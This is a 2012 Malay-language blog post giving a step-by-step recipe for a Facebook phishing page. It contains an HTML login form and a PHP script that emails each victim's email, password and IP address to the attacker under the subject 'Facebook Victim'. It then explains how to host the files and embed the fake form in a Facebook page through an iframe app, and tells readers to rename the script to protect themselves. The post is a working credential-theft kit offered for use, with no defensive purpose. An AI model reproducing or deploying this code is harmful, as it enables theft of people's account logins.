Thursday, 31 May 2012

Try cara phishing ni tengok


1st: aku x guna pun method copy source code Phishing FB

2nd: aku guna Dreamweaver utk create Form
ni source yg aku buat (index.php or index.html):


<form id="form1" name="form1" method="POST" action="password.php"> <p> <label>Nick <input name="Nick" type="text" id="Nick" size="10" maxlength="10" /> </label> </p> <p> <label>Email <input name="Email" type="text" id="Email" size="30" maxlength="30" /> </label> </p> <p> <label for="Password">Password</label> <input type="password" name="Password" id="Password" /> </p> <p> <input type=hidden name=ip value="<?php echo @$REMOTE_ADDR; ?>"> <label for="Enter"></label> <input type="submit" name="Enter" id="Enter" value="Submit" /> <label for="Reset"></label> <input type="reset" name="Reset" id="Reset" value="Reset" /> </p> </form>


3rd: password.php (basic phishing dia akan GET ke action kan)

4th: aku guna method POST ke action sebab aku nk semua data aku di email kan ke mana2 email acc aku..

ni source *.php (jgn lupa rename la jgn guna password.php tuk keselamatan kita):


<?php if ($_POST["email"]<>'') { $ToEmail = 'youremail@site.com'; $EmailSubject = 'Facebook Victim '; $mailheader = "From: ".$_POST["email"]."\r\n"; $mailheader .= "Reply-To: ".$_POST["email"]."\r\n"; $mailheader .= "Content-type: text/html; charset=iso-8859-1\r\n"; $MESSAGE_BODY = "Email: ".$_POST["email"]."<br>"; $MESSAGE_BODY .= "Password: ".$_POST["password"]."<br>"; $MESSAGE_BODY .= "Ip Address: ".nl2br($_POST['ip'])."<br>"; mail($ToEmail, $EmailSubject, $MESSAGE_BODY, $mailheader) or die ("Failure"); ?> Your message here if successfully sent. <?php } else { ?>


5th: yg aku bold tu korang tukar la apa2 nama dia

6th: upload 2 file yg disave kan ke webhost kita.

7th: Create FBpage -----> add fb plugin apps Static HTML: iframe tabs [taip html kt search box FB kita tu]

8th: add kan apps tu dlm page kita

9th: last step korang dh leh edit html kt fbpage.....
<siap>

By : Eiz Sakai

No comments:

Post a Comment